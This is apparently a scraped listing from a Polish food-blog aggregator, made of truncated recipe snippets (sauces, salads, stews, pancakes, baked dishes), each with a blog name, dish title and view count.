Robi się niezbyt trudno.  Farsz jest pełen smaku i przyznam szczerze, że niejeden mięsożerca by się nabrał.  Smakują mięsem :) żeby nie były zbyt suche podałam je z sosem jogurtowo-czosnkowym. Pierogi z soczewica ciasto: 2 i 1/4 szkl. mąki pszennej 1/2 szkl. oleju 1/3 szkl. gorącej wody 10 g suszonych drożdży sól Wszystkie składniki wkładamy do miski

Dzieje kuchennej Wiewióry
Pieczone skrzydełka kurczaka 214

kardamonu ½ łyżeczki sproszkowanego imbiru ½ łyżeczki kurkumy 2 goździki sól 1 świeża lub z oleju papryczka chilli 2 ząbki czosnku 2 łyżeczki suszonych liści kolendry 2 łyżki oliwy 2 łyżki sosu sojowego Wykonanie: Skrzydełka umyć, oczyścić i osuszyć. Kumin, ziarna kolendry, cynamon, kardamon, imbir, kurkumę i goździki utrzeć w moździerzu. Do przypraw dodać zmiażdżone ząbki czosnku, posiekaną papryczkę chilli i resztę

Mama Gotuje
Dorada z patelni czyli pyszny pomysł na obiad 301

strony na średnim ogniu po około 5 minut.  Ściągamy gorącą rybę z patelni na talerz, podajemy z cytryną.  U mnie jako dodatek były ziemniaki z piekarnika z sosem czosnkowym oraz rukola z pomidorami.    Smacznego !    Moja dorada pochodziła ze sklepu Tesoro del Mar  . Dorada z patelni czyli pyszny pomysł na obiad

Kuchnia na wzgórzu
Pory w śmietanie / Creamed leeks 334

dodaj masło. Włóż pory i smaż przez 14 do 16 minut lub do miękkości. Wlej śmietankę i dopraw gałką muszkatołową. Gotuj przez kolejne 3 – 4 minuty, aż sos zgęstnieje. Dopraw do smaku solą i pieprzem i natychmiast podawaj. Smacznego! Creamed Leeks (4-5 servings) Ingredients: 2 tablespoons butter 4 large leeks, light parts only, sliced 1 cup heavy cream

karmelowy
Sałatka z kiszoną kapustą i burakami 218

Winegret. Pierwsze skojarzenie to sos. Hmmm, ale przecież to nawet pisze się inaczej, z francuska. No nie. Olśnienie przyszło po chwili – zaraz, zaraz ja już tą nazwę, tą sałatkę widziałam. Lampeczka zapaliła

Szybko Tanio Smacznie
UDKA W MARYNACIE MIODOWO-CHRZANOWEJ 187

przygotować przepis.  Chrzan Luksusowy charakteryzuje się wyrazistym i czystym smakiem, ponieważ zawartość korzenia chrzanu wynosi aż 70%. Wspaniale komponuje się z różnego rodzaju mięs, jako dodatek do zup, sosów i potraw jajecznych. Za doskonały i aromatyczny smak jest godny polecenia. Dla mnie niezastąpiony. SMACZNEGO

Prosto i Smacznie z Anetą
12 BLOGOWYCH HITÓW 2015 ROKU! 338

dania. Ciasto W-Z (wuzetka) Ziemniaczana zapiekanka Surówka z kapusty pekińskiej, papryki, kukurydzy i pora Tort "Biały Napoleon" Gotowany sernik Zapiekane tortellini Ciasto Prince Polo Jajka na twardo w sosie tatarskim Ciasteczka ziarenka kawy Placki ziemniaczane z gotowanych ziemniaków Pieczeń z mięsa mielonego i papryk Kurczak w papirusie

Przepisy Aleksandry
Zapiekanka z ziemniakami i wiejską kiełbasą 178

obieramy ze skórki i kroimy w talarki, oprószamy solą i pieprzem oraz posiekanym czosnkiem. W naczyniu żaroodpornym wysmarowanym tłuszczem układamy warstwami, ziemniaki i kiełbaskę. Ze śmietany i jajek ubijamy sos, którym polewamy zapiekankę. Pieczemy  w temperaturze 200 stopni C ok 40-50 min. SMACZNEGO Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie

W kuchennym oknie Ewy
Cytrynowe risotto z cydrem i grillowany łosoś teriyaki 189

bulionu 60 gram startego parmezanu szczypta soli i pieprzu skórka otarta z 1 cytryny sok z ćwiartki cytryny 300 gram filetu z łososia marynata: 1 łyżka tahini, 2 łyżki sosu sojowego, 1 łyżka syropu klonowego, sok z 1/2 cytryny, 2 łyżki sezamu, 1 łyżka oleju sezamowego, Składniki marynaty mieszam, umieszczam w nich umyte i osuszone filety łososia. Marynuję minimum

Mango Papaja
Sałatka z brokułem i dressingiem jogurtowo-ziołowym 168

szóstki). Składniki delikatnie połączyć i doprawić solą z pieprzem (opcjonalnie). Całość polać dressingiem i ponownie delikatnie wymieszać (jego ilość zależy od nas, ja np. wolę sałatkę bardziej "mokrą"). Sos jogurtowo-majonezowy z czosnkiem: 1 szklanka jogurtu naturalnego 2 łyżki majonezu 1 ząbek czosnku (albo łyżeczka suszonego) koperek (może być suszony) pietruszka (może być suszona) Jogurt wymieszać z majonezem, przeciśniętym przez

Di gotuje
Indycze podudzia w miodzie i winie 142

Wstawić na ogień, dodać pokrojone na kawałki marchewki, pietruszkę i cebulę. Podlewać wodą i dusić do miękkości ok godzinę, półtorej. Na koniec wyjąć mięso, a warzywa zmiksować dodając śmietanę. Sosem polać golonki. Podawać z pieczonymi ziemniakami

Gotowanie jest łatwe
Pasztet z bułek i papryki + film 183

Przepyszny i prosty w przygotowaniu pasztet z bułek i papryki to doskonały pomysł na śniadanie lub kolację. Świetnie smakuje w towarzystwie ulubionego sosu, szczególnie chrzanowego na zimno, sprawdza się również jako dodatek do sałatek . składniki na formę 25 cm na 10 cm 4 bułki 3 papryki ( czerwona, żółta, zielona ) 25 dag wędliny drobiowej 1 łyżka ziół  prowansalskich 1 szklanka

Smakowite Dania
Sałatka colesław 174

drobnych oczkach. Cebulę kroimy w drobną kostkę. Kapustę, marchewkę, cebulę i natkę pietruszki wrzucamy do miski. Pozostałe składniki sałatki łączymy i mieszamy do uzyskania jednolitej konsystencji.  Tak przygotowanym sosem polewamy warzywa, całość dokładnie mieszamy i wkładamy do lodówki na 2 godziny. Smacznego

Smak mojego domu
Placki ziemniaczane 158

patelni pilnując aby tłuszcz w niewielkiej ilości był cały czas na patelni (smażenie placków ziemniaczanych bez tłuszczu po prostu się nie udaje ). Serwujemy wg gustu z cukrem, śmietaną, gulaszem, sosem lub jak tylko lubicie

Pyry na Gaz
Polędwiczki wieprzowe. 228

patelni po smażeniu polędwiczek i pół szklanki wina , czekamy aż wino odparuje i dodajemy odrobinę śmietanki , mieszamy .Wszystko trwa nie więcej niż 15 minut. Teraz posypujemy solą i pieprzem sos ,aby miał lepszy smak. W międzyczasie gotujemy kaszę i brokuła .Podajemy razem

Ladylaura.
Aromatyczne zioła w kuchni włoskiej 164

potraw i wzmaga apetyt, najczęściej używane jako dodatek do mięsa w połączeniu z oregano. Doskonały do potraw z białej fasoli z czosnkiem. Często łaczony jest z ciężkimi zupami, ostrymi sosami. Tymianek cytrynowy doskonale łączy się z rybami i daniami z kurczaka

Moja smaczna kuchnia
jaja w sosie tatarskim 202

Polecam jajka na twardo w sosie tatarskim

Ugotujmy Coś
Antrykot grillowany w musztardzie 136

razie potrzeby doprawić do smaku pieprzem, sokiem z cytryny... Mięso położyć na rozgrzanej patelni grillowej. Grillować 3 minuty, odwrócić i grillować kolejne 2 minuty. Mięso przełożyć na talerz, polać sosem i odstawić na 5 minut. Oprószyć solą. zastawa

królestwo garów
Paprykowy gulasz z cukinią i kaszą gryczaną 223

miękkie i delikatne - co jakiś czas mieszając. Po tym czasie dodajemy pokrojoną w drobną kostkę cukinię i gotujemy jeszcze przez 30 minut. Na koniec, dusimy bez przykrycia, aby zagęścić sos. Gulasz świetnie smakuje z kaszą, ja uwielbiam i polecam - kaszę gryczaną! :) Smacznego :) aakuku

aa-kuku - czyli jak żyć zdrowo i pysznie!
Naleśniki z serem i sosem truskawkowym 148

mąki 15 g cukru waniliowego Masa serowa: 500 g sera białego tłustego 200 ml słodkiej śmietany 15 g cukru waniliowego 50 g cukru 5 ml ekstraktu waniliowego 2 żółtka Sos truskawkowy: 1 dżem truskawkowy 50 ml wody cynamon   Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 Mleko dokładnie łączymy z jajkiem, mąką, proszkiem i cukrem waniliowym. Z przygotowanego

R'n'G Kitchen
Sałatka brokułowa z jajkiem 186

dodajemy czosnek, sparzone zioła doprawiamy solą pieprzem do smaku i dobrze mieszamy. Na talerzu układamy brokuła a na niego pozostałe warzywa. Na samym wierzchu układamy ćwiartki jajek całość polewamy sosem

Piekielna Kuchnia Pati
Schabowe z papryką i żółtym serem 169

niekoniecznie :) Składniki 2-4 kotlety schabowe 1/2 czerwonej papryki 1 jajko bułka tarta sól, pieprz Dodatki 1/2 opakowania ziemniaków ( u mnie ćwiartki ziemniaków z Lidla) Brokuły na ostro ulubiony sos u mnie czosnkowy Może wszyscy będą mieli mi za złe te ziemniaczki ale przyznam się że jest to najszybsza opcja obiadowa. Kotlety rozbijamy, najlepiej je owinąć folia spożywczą wówczas

Piekielna Kuchnia Pati
Domowa vegeta z suszonych warzyw. 175

vegetę. Postanowiłam dzisiaj taką zrobić i przy okazji uzupełnić domowe zapasy :) Od firmy Becla dostałam fajne suszone mieszanki warzywne no i z nich właśnie zrobiłam fajną przyprawę do zup, sosów, mięs. Zapraszam do wypróbowania :)   Składniki : 2 łyżki mieszanki warzywnej z brokułami od firmy  Becla 1 łyżka suszonego lubczyku 1 łyżeczka czosnku  2 łyżki suszonego pora 2 łyżki

Sama słodycz i szczypta chili
Porady kulinarne: Przegląd składników do sushi 205

tutaj zaskoczeniem będzie, że zazwyczaj japoński ryż do sushi pochodzi z … Włoch. Sam smak ryżu charakterystyczny dla sushi uzyskany dzięki zaprawie octowej. No właśnie – zaprawa octowa . Tutaj do przygotowania sosu dodawanego do ryżu potrzebować będziemy ocet ryżowy, cukier i sól . Wszystko wymieszane i rozpuszczone w rondelku (nie może dojść do zagotowania) dodajemy do ryżu. To właśnie ta zaprawa octowa daje

WojnaNaSmaki.pl
Makaron ryżowy z pieczarkami 319

wylać 2 łyżki oleju, dodać boczek, podsmażyć. Następnie dołożyć cebulkę z czosnkiem, zmniejszyć ogień aby delikatnie się zeszkliła. Dorzucić pieczarki, smażyć ok. 5 minut mieszając. Zalać całość kremówką. Do sosu przełożyć odcedzony makaron. Wymieszać. Przykryć pokrywką i odstawić na około 10 minut aby smaki się połączyły a makaron zmiękł i przejął smaki. Przed podaniem danie należy spróbować, w razie potrzeby

kawawszklance
Kluski śląskie 325

Polsce są one najbardziej popularne na Górnym i Dolnym Śląsku.  Przygotowuje się je bardzo szybko i prosto. Idealnie pasują na rodzinne obiady a w połączeniu z domowym sosem smakują wybornie.  Składniki: 1 kg ziemniaków 2 jajka sól mąka ziemniaczana  Wykonanie: Ziemniaki obrać i ugotować w osolonej wodzie. Ziemniaki porządnie wystudzić a następnie przecisnąć je przez praskę

Krakowskie smaki Ani
Maminkowe zapiekanki z rybą 205

układamy rybę. Przykrywamy cienką warstwą ciasta. Ponownie układamy rybę i przykrywamy ciastem. Wstawiamy do piekarnika nagrzanego do temperatury 160 st. C na ok. 35 minut. Dobrze smakują z sosem pomidorowym. Smacznego

Maminek kulinarny
Szakszuka, czyli bałagan jajeczno pomidorowy 261

pomidory (świeże pomidory wcześniej sparzamy wrzątkiem, obieramy ze skórki i kroimy w kostkę). Dodać koncentrat pomidorowy, kumin, pieprz i sól. Wymieszać i chwilę dusić na małym ogniu. W gotowym sosie zrobić wgłębienia i wbić w nie jajka – gotować do czasu ścięcia się białek. Gotową szakszukę posypać zieleniną. Podawać gorącą z pieczywem

Nie tylko w kuchni
ROLADKI WIEPRZOWE W WINIE 224

paprykę w proszku. 10. Dusimy całość ok 20 min i dodajemy wino. 11. Chwile jeszcze gotujemy i sprawdzamy na smak i ewentualnie doprawiamy. Gdy mięso jest miękkie wyłączamy. Nas sos powinien troszkę zgęstnieć dzięki dodanemu do roladek serowi, jeżeli jednak się tak nie dzieje możemy go lekko zagęścić maka

Kulinarnie z Polką na Kresach
Piernikowe boczniaki a'la śledzie po wegańsku 191

zimno 1 łyżka musztardy 1 łyżeczka syropy z agawy - zaopatruje się w Rossmanie w dziale ze zdrową żywnością 1-2 łyżeczki octu jabłkowego - w zależności od smaku 2 łyżki sosu sojowego 1 liść laurowy 1 goździk 1 nasionko kardamonu - lub szczypta kardamonu mielonego 1/2 łyżeczki przyprawy do piernika 1/3 łyżeczki kminu rzymskiego mielonego 1/3 łyżeczki cynamonu 1/3 łyżeczki imbiru mielonego

Grunt to przepis!
Naleśnik nadziewane szpinakiem i kurczakiem 220

naleśnikowe. Smażymy naleśniki. Obracamy naleśnika podczas smażenia usmażoną stroną do góry i kładziemy żółty ser, farsz i kawałki sera feta. Zwijamy w rulonik i gotowe :) Dodatkowo można smarować ulubionym sosem i cieszyć się sytym jedzeniem :) bo zjedzenie takich dwóch naleśników sprawia ,że człowiek jest pełny

W Moim Magicznym Domu
Sałatka ryżowa z kaparami i oliwkami 173

twardo, ostudziłem, obrałem, pokroiłem na ćwiartki. Wymieszałem oliwę z musztardą, sokiem z cytryny, tymiankiem i posiekana bazylią. Przyprawiłem solą i białym pieprzem. Ryż wsypałem do salaterki, polałem przygotowanym sosem, dokładnie wymieszałem. Pomidory sparzyłem wrzącą wodą, obrałem ze skórki, pokroiłem na cząstki. Połowę dodałem do ryżu. Sałatkę przybrałem pozostałymi pomidorami, jajkami, kaparami, pokrojonymi oliwkami i filecikami anchois

R'n'G Kitchen
Szybka pizza 3 sery 154

ciasto francuskie nam się ładnie przyrumieniło, wówczas będziemy mieć pewność że będzie kruche a nie ciapą od spodu. Gotowe ciasto polewamy np oliwą smakową lub też naszymi ulubionymi sosami

Piekielna Kuchnia Pati
Brownie jak sama nazwa wskazuje jest brązowy, bo jest zrobiony z czekolady. Więc jaki jest sekret jego receptury? 411

najczęściej pokrojony jest w małe kawałki, jak czekoladki. Wtedy nazwany jest Brownie Bites lub Brownie Squares. Dla mnie najpyszniejszy jest fudgy brownie. Podany na zimno. W małych kawałkach. Z sosem ze świeżych truskawek, malin lub mango. Pyszności. Dziś podzielę się z wami moim własnym przpisem na fudgy brownie. Zauważcie, że w moim przepisie użyta jest duża proporcja jajek i czekolady

Jem więc Jestem
Pałki z kurczaka pieczone w białym winie z bakaliami 221

naczynia żaroodpornego. Na wierzchu mięsa układam kawałki masła. Naczynie przykrywam. Piekę 1,5 godziny w temperaturze 190 stopni. W czasie pieczenia mięso kilkakrotnie polewam wytworzonym w czasie pieczenia sosem. A 5 minut przed końcem pieczenia odkrywam naczynie, aby kurczak się zarumienił. Podaję z ziemniakami i surówką. Do przygotowania potrawy wykorzystałam płatki migdałowe oraz mieszankę ziaren, którą otrzymałam od firmy MAKAR

Tradycyjna kuchnia Kasi
Angielski pie czyli zapiekanka z kurczaka 214

Szybki pyszny obiad w angielskim stylu to pie, czyli angielska zapiekanka. Dzisiaj przygotowałam ją klasycznie, czyli kurczak, warzywa i sos śmietanowy. To wszystko przykryte i zapieczone pod ciastem francuskim. Danie proste, szybkie, interesująco podane może być ciekawą alternatywą na obiad, kolacje czy spotkanie ze znajomymi. Czytaj więcej

Bernika - moj kulinarny pamietnik
Rosół 170

zdjąć cały tłuszcz. Podawać gorący z kluskami lanymi, makaronem lub bez niczego. Przed podaniem posypać siekaną zieloną pietruszką chociaż nie wszyscy ją   lubią. Kurę można podać w sosie chrzanowym, z mięsa zrobić pierogi. Marchewkę albo pokroić w plasterki i podać w rosole albo zjeść z masłem i solą. Ja wybieram tę drugą opcję. Kluski lane: 1 jajko, 30 gram

królestwo garów
Placki owsiane w 5 minut, sycące, smaczne i szybkie , jak najbardziej fit! 187

rodzynki, je na końcu dodać do masy. Smażyć na kropli oleju, za każdym razem po troszku lać - po zdjęciu placków. Zrumienione podawać z czym się chce, cukier puder, syropy, sosy, dżemy, jogurty, czy same owoce itp. Smacznego A na dobry początek dnia Rachel Platten - Stand

Kuchcikowoasi...Kawałek mnie
Schab pod pierzynką 192

ułożyć na wierzch mięsa. Piec w piekarniku w 180 stopniach C około 1h . Od czasu do czasu w trakcie pieczenia uciskać widelcem marchewkę, aby była zanurzyć ją w sosie. Po upieczeniu posypać natką pietruszki lub koperkiem. schab pod pierzynką

O kuchni z uczuciem
Naleśniki ze szpinakiem i ricottą 149

proste, a w tak wielu odsłonach mogą zrobić furorę na talerzu.  Naleśniki ze szpinakiem, pojawiają się u mnie w domu w różnych postaciach : z kurczakiem, z serem feta, sosem pomidorowym. Dzisiaj jednak mam dla Was ricottową wersje szpinaku. Spróbujcie :) Składniki:   ok 2,5 szklanki mleka ok szklanki wody   3 jajka (temperatura pokojowa)   1 łyżeczka cukru szczypta

ChilliJemy
Makaron w sosie pieczarkowym 186

momentu, aż papryka zmięknie, po czym wsypać pieczarki, wymieszać. Do małego garnuszka nalać nieco wody, wsypać mąkę i dobrze wymieszać. Przelać do potrawy i chwilę gotować mieszając, dzięki czemu sos lekko zgęstnieje. Makaron ugotować według instrukcji na opakowaniu al dente, odcedzić i dodać do potrawy. Wymieszać i w razie potrzeby doprawić (pomijając tutaj już chilli, bo potrawa nie ma być

Passions hobbies life
Smażone udka z zupy... 219

lekko wklepujemy. Panierujemy w mące, następnie jajko i bułka tarta wymieszana z sezamem. Smażymy na małym ogniu, na oleju na złoty kolor. Mi najbardziej smakuje z ketchupem albo sosem meksykańskim lub słodko-kwaśnym.  Jeśli trzymamy mięso w lodówce, musimy je wyciągnąć min. godzinę przed smażeniem (żeby mięso było ciepłe w środku

Pelusiowa Kuchnia
PASTA Z PIECZONEJ PAPRYKI I SERA KOZIEGO 193

pasta doskonale sprawdzi się jako zdrowy zastępnik masła na kanapce do pracy, na imprezie można w niej maczać krakersy lub kawałki warzyw, a na grillu jako sos do mięs. Zrobienie jest szalenie łatwe, a efekt wręcz doskonały. Jeśli nie lubicie koziego sera śmiało możecie zastąpić go fetą, jednak moim zdaniem z kozim ma zdecydowanie lepszy, bardziej wyrazisty smak.  SKŁADNIKI

Kuchnia bezglutenowa Loli
Wódka i ziemniak – szlachetna para 198

ziemniaki typu A. Pod widelcem się rozgniatają. Danie główne: zraz wołowy - polędwica sezonowana, ziemniaki Vineta ze śledziem, boczek sous vide, mus z ogórków z Hajnówki, konfitura z czerwonej cebuli, sos tymiankowy i wódka Młody Ziemniak 2014 (powstaje z ziemniaków odmiany Dukat zebranych w czerwcu, na Podlasiu). Vineta ziemniak typu AB, sałatkowy, wszechstronnie użytkowy. Deser: knedla ze śliwką – pieczona knedla

królestwo garów
Tarta z boczniakami, kozim serem i orzechami 246

mają wyrazisty, pełny smak. Nadają się do bezpośredniego spożycia, do kanapek, naleśników czy właśnie do zapiekanek tak jak ja to zrobiłam. Można też nimi nadziewać pieczone warzywa albo zagęścić sos. Zobacz też przepis na tartę z żółciakiem siarkowym - za kilka miesięcy znowu będę szukać tego grzyba w łęgowym lesie. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Gulasz z jelenia z pomidorami z wolnowaru 222

Może mało fotogeniczny, ale smaczny gulasz z jelenia, na dodatek przygotowany w mój ulubiony sposób, czyli w wolnowarze. Aromatyczny, w pomidorowo ziołowym sosie. Podawać z chlebem lub kluskami na parze. składniki 600 g  mięsa gulaszowego  z dziczyzny  - jeleń 2 cebule pokrojone w piórka 6-8 ząbków czosnku, posiekane 1 łyżka posiekanej natki pietruszki + do podania

Stare Gary
Lekkie pulpeciki z indyka w sosie pieczarkowo-marchewkowoym 186

zetrzeć na tarce o dużych oczkach, przełożyć do garnka i całość gotować następne 10 minut. W szklance z wodą wymieszać mąkę, wlać do garnka z pulpecikami i wymieszać, aż sos zgęstnieje. Zabielić śmietaną, doprawić, posypać koperkiem. Smacznego

Kraina Miodem Płynąca
Krokiety z kaszą owsianą, pieczarkami i żółtym serem 169

klasyczne krokiety. Panierować w roztrzepanym z odrobiną soli jajku i bułce tartej. Smażyć na złoty kolor. Po usmażeniu odsączyć nadmiar tłuszczu na papierowym ręczniku. Takie krokiety świetnie smakują z sosem grzybowym, pikantnym pomidorowym lub najzwyklejszym keczupem. Żółty ser świetnie zespala ziarenka kaszy, więc po przekrojeniu krokieta nie rozsypują się. Po przestudzeniu jest to bardzo smaczna przekąska, wystarczy tylko końcówkę krokieta

Codzienna kuchnia niecodzienna
Polędwiczka z woka z makaronem chow mein, warzywami i sosem ostrygowym 179

jesteście fanami dań z woka to nie musze wam mówić, że dania z niego charakteryzują się soczystym, miękkim mięsem i lekko kruchymi warzywami. Wystarczy dobrać odpowiedni sos i mamy pyszne danie w niecałe pół godziny. Polędwiczka wieprzowa pasuje idealnie, zwłaszcza jeśli dodamy makaron i świeże warzywa

Milion Smaków
Szybka sałatka ze słonecznikiem 286

odłożyłam do ostygnięcia. 8 plasterków cukinii położyłam na suchej patelni i z obu stron je przypiekłam lekko, również odstawiłam do przestygnięcia. Gdy cukinia przestygła położyłam ją na zieleninie. Przygotowałam sos z oliwy z oliwek  wymieszanego z oliwą extra virgin, z przewagą tej drugiej. Łącznie jednej i drugiej oliwy miałam ze dwie lub trzy łyżki. Dodałam do nich odrobinę musztardy

W kuchni u Moniki
Kurczak Jalfrezi 218

kolendrę, kmin, sól i ewentualnie ostrą paprykę, wymieszać i smażyć przez kolejne kilka minut. Dodać kurczaka, wymieszać i smażyć około 5-7 minut.  Wlać pomidory, dodać kolendrę, jeżeli sos jest zbyt gęsty dolać niewielką ilość wody. Przykryć i gotować kilkanaście minut lub do czasu aż mięso będzie usmażone.  Podawać przybrane kolendrą z ryżem lub chlebkiem nan. Smacznego

Codzienne Gotowanie
Sałatka z paluszków surimi i selera 502

kroimy w plastry. Obrany ogórek i cebulę kroimy w kostkę. Seler odsączamy z zalewy, dodajemy kukurydzę i mieszamy wszystko razem. Majonez łączymy z koncentratem pomidorowym i całość polewamy otrzymanym sosem

Qchnia po prostu
Gulasz z dyni i fasoli z wędzoną papryką 199

marchewkę, obraną i pokrojoną na duże kawałki.  Dodaj pomidory z puszki, wędzoną paprykę, ugotowaną białą fasolę i dopraw całość solą. Gotuj na małym ogniu ok. 10 minut, aż sos lekko zgęstnieje.  Na końcu dodaj upieczoną dynię oraz świeży szpinak. Gotuj jeszcze 2-3 minuty, aż szpinak zwiędnie. Spróbuj, ewentualnie dopraw do smaku. Gotowy z dyni i fasoli podałam

Chilli Czosnek i Oliwa
Wątróbka wieprzowa duszona z cebulką 352

przykryciem, co jakiś czas mieszając żeby nie przywarła do dna. My najbardziej lubimy ją podaną ze świeżym pszennym chlebem, który świetnie nadaje się do zbierania z talerza cebuli i sosu, i z dodatkiem kiszonych ogórków . Jeśli jecie mięso, raz na jakiś czas warto się do wątróbki przekonać. Szczególnie do tak przygotowanej. SKŁADNIKI 800g wątróbki wieprzowej zimne mleko mąka pszenna

Karo in the Kitchen
Krokiety z kaszy jaglanej ,szpinaku,jarmużu i suszonych pomidorów w papierze ryżowym 212

parze wyściel papierem do pieczenia- to gwarancja, że krokiety nie przylepią sie do dna naczynia. Ułóż krokiety i gotuj na parze około 2-4 minuty. Można podawać z sosem sojowym. Znikają szybciej niż się je robi. To danie lekkie, wykwintne i godne uwagi. Przygotowuje się je na pewno krócej o tradycyjnych krokietów z kapusty z mięsem i ryżem. Moja wersja

Z Kuchni Do Kuchni
Sos koperkowy 198

Sos koperkowy do obiadu.     Składniki: -300 ml. bulionu warzywnego -3-4 łyżki słodkiej śmietanki -2 łyżki koperku świeżego lub mrożonego -czubata łyżka mąki kukurydzianej Do szklanki wlewamy śmietankę, dolewamy trochę bulionu, wsypujemy mąkę kukurydzianą i mieszamy. Bulion zagotowujemy, dolewamy zawartość szklanki, zagotowujemy, dodajemy koper, mieszamy i zagotowujemy. Do smaku możemy doprawić solą i gotowe. Smacznego

Maminek kulinarny
Medaliony z mięsa mielonego z sosem koperkowym 223

wkładamy do niego uformowane mięso. Gotujemy na bardzo małym ogniu ok. 40 minut. Mięso wyjmujemy a bulion możemy wykorzystać do ugotowania dowolnej zupy. Kroimy na grube medaliony. Polewamy sosem koperkowym i gotowe. Dobrze smakują z ziemniakami i czerwonymi buraczkami. Smacznego

Maminek kulinarny
Owsianka na mleku z bananem, polana sosem czekoladowym i posypana wiórkami kokosowym 261

Owsianka na mleku z bananem, polana sosem czekoladowym i posypana wiórkami kokosowym (Śniadanie jednoosobowe) Składniki: Owsianka: 5 łyżek płatków owsianych górskich lub zwykłych 250ml mleka łyżeczka słodzika ze stewią Polewa czekoladowa: 10g (łyżeczka) oleju kokosowego łyżeczka karobu lub kakao Dodatkowo: banan łyżka wiórków kokosowych Przygotowanie: Mleko wlewamy do garnuszka i zagotowujemy. Dodajemy do niego płatki owsiane oraz słodzik i dalej

Moja Micha
Omlet biszkoptowy „na dwa” 174

rodzinne śniadanie czy to dla dorosłych czy dla dzieci. Może być jedzony z powidłami, samym cukrem pudrem, serkiem homogenizowanym a nawet nutellą. Co kto lubi. Polecam do niego sos waniliowy, który wkrótce pojawi się również na blogu. Jest to idealna propozycja na weekendowe śniadanko, które możecie przygotować wspólnie z dziećmi. Przygotowanie omletu zajmuje ok. 10-15 min z ubiciem piany

Mieszam w Garnku
Zapiekanka z gyrosem 8721

miękkie, ok. 3 min.  Ryż gotujemy do miękkości  doprawiamy jarzynką , łączymy z 1/3 startego sera, połową kurczaka  i wykładamy na dnie naczynia do zapiekania.  Robimy sos z majonezu śmietany i keczupu , smarujemy nim ryż. Pora tniemy w plasterki, a paprykę w kostkę, osobno przesmażamy na patelni i wykładamy na ryż. Brokułu gotujemy

W kuchennej krainie
Kurcze pieczone czyli kurczak na butelce lub słoiku 440

oliwek lub olej kokosowy (płynny) przyprawy – właściwie dowolne. U mnie dużo papryki słodkiej, trochę ostrej, szczypta pieprzu cayenne, łyżka przyprawy do kurczaka, tymianek, sól, pieprz, czosnek, odrobina sosu sojowego 3 szklanki wody szklana butelka lub słoik opcjonalnie: kostka rosołowa opcjonalnie: 1-2 łyżeczki koncentratu pomidorowego   Przygotowanie: Najpierw przygotowujemy marynatę. Mieszamy wszystkie przyprawy z oliwą z oliwek – w zależności

Jak gotować i nie zwariować
Pulpety z kurczaka i warzyw z rosołu 280

minuty np. w rosole, czy wywarze, ale gotujemy ostrożnie aby pulpety się nie rozpadły. Pulpety wyjmujemy łyżką cedzakową. Pulpety podajemy do rosołu, do innej zupy lub podajemy z sosem śmietanowym z makaronem, ziemniakami lub ryżem. Można też podawać same pulpety na gorąco lub zimno. Smacznego!   The post Pulpety z kurczaka i warzyw z rosołu appeared first on Damsko-męskie

Damsko-męskie spojrzenie na kuchnię
Pieczarki w śmietanie (na ciepło) 210

www.facebook.com/Di.gotuje     http://digotuje.blogspot.com   Tak przyrządzone pieczarki mogą doskonale sprawdzić się jako sos do mięsa, dodatek obiadowy lub samoistna przekąska. Idealnie pasują do makaronu czy świeżego pieczywa.     200g pieczarek 1 cebula 200 ml śmietanki 1 łyżeczka mąki pszennej/skrobi kukurydzianej (opcjonalnie) 1-2 łyżki masła posiekany koperek i natka pietruszki (opcjonalnie) sól, pieprz   Cebulę pokroić

Di gotuje
Hui two-layer crepes - chińskie naleśniki dwuwarstwowe 214

Można je zwijać, składać lub jeść w formie placków. Z czym je podawać? To również rzecz gustu.   Może to być np. cukier puder, dżem, bita śmietana - czy ulubiony sos. Zapewniam Was, że solo również znikną.     (2 porcje) Pierwsza warstwa: 3/4 szklanki mąki 1 szklanka wody (w temperaturze pokojowej) 1 łyżka oleju 1 szczypta soli (dałam 1/3 łyżeczki

Di gotuje
Smażone rolady śledziowe do słoika 179

Smażone rolady śledziowe do słoika Śledź to wspaniała ryba , doskonała smażona jak i w różnych zalewach . Smażone roladki zanurzone w sosie pomidorowym ,przełożone smażoną cebulką , lekko pikantne…mniam , wspaniałości , najsmaczniejsze po kilku dniach ( minimum pięć dni ) . Śledź w takiej zalewie jest całkowicie pozbawiony ości , gdyż kręgosłup wyjmujemy na etapie przygotowania , a ości miękną podczas marynowania .Nawet jak ktoś jest

Ogrodnik w podróży
Kartoflak czyli zapiekanka ziemniaczana 237

Kartoflak czyli zapiekanka ziemniaczana to super propozycja na obiad lub ciepłą kolację. Kartoflak podajemy ciepłe z surówką, polane keczupem lub innym ulubionym sosem. Składniki: 1 kg ziemniaków 2 pętka ulubionej kiełbasy 20 dkg wędzonego boczku 2 jaja 2 ząbki czosnku 5 łyżek mąki sól pieprz plasterki szynki Przygotowanie: Ziemniaki umyć, obrać, zetrzeć na tarce (można na średniej wielkości oczkach albo

Smaczne Potrawy
Najłatwiejszy chleb bezglutenowy 260

Mąka z tapioki [u mnie od SKWORCU ] – wytwarzana z suszonego manioku. Najczęściej używana do różnego rodzaju legumin (kisiel, budyń). Bezsmakowa. W przeciwieństwie do tradycyjnej mąki nie „zabiela” potraw, więc sosy, desery i zupy zagęszczane tapioką zostaną klarowne. [źródło: www.alergiapokarmowa.pl] Składniki na 1 keksówkę o wymiarach LxWxH 30x10x8cm:   150g mąki kukurydzianej - od razu przyznam, iż dodałam trochę zbyt dużo

Grunt to przepis!
Najprostsze gołąbki 207

żaroodpornym, wlewamy bulion, wkładamy do nagrzanego piekarnika pieczemy przez 30 -40 minut w temperaturze 180 stopni C, pod koniec pieczenia dodajemy przetarte pomidory.  Podajemy na gorąco polewając powstałym sosem pomidorowym

kgwjanczewo
Moja wymarzona kuchnia – Gorenje Simplicity 250

pozostała powierzchnia płyty pozostaje chłodna i bezpieczna w dotyku. Temperaturę dostosowuje się błyskawicznie za pomocą prostego dotyku, co ogranicza niebezpieczeństwo wykipienia. Mając taką płytę kuchenną topienie czekolady, przyrządzanie wyszukanych sosów czy inne skomplikowane czynności kucharskie stają się naprawdę błahostką. Posiada także blokadę przed dziećmi, jest to znakomite rozwiązanie adresowane do rodzin z małymi dziećmi. Pozostawienie dzieci w kuchni bez nadzoru

karmelowy
domowe hot dogi 229

pieczenia, smarujemy białkiem i opcjonalnie posypujemy ziarenkami lub ziołami. Wstawiamy do zimnego piekarnika i pieczemy przez ok. 20 min. w 180 st. C. Podajemy na ciepło z ulubionymi sosami lub musztardą czy keczupem

Domowy Smak Jedzenia
Marchewka z groszkiem 189

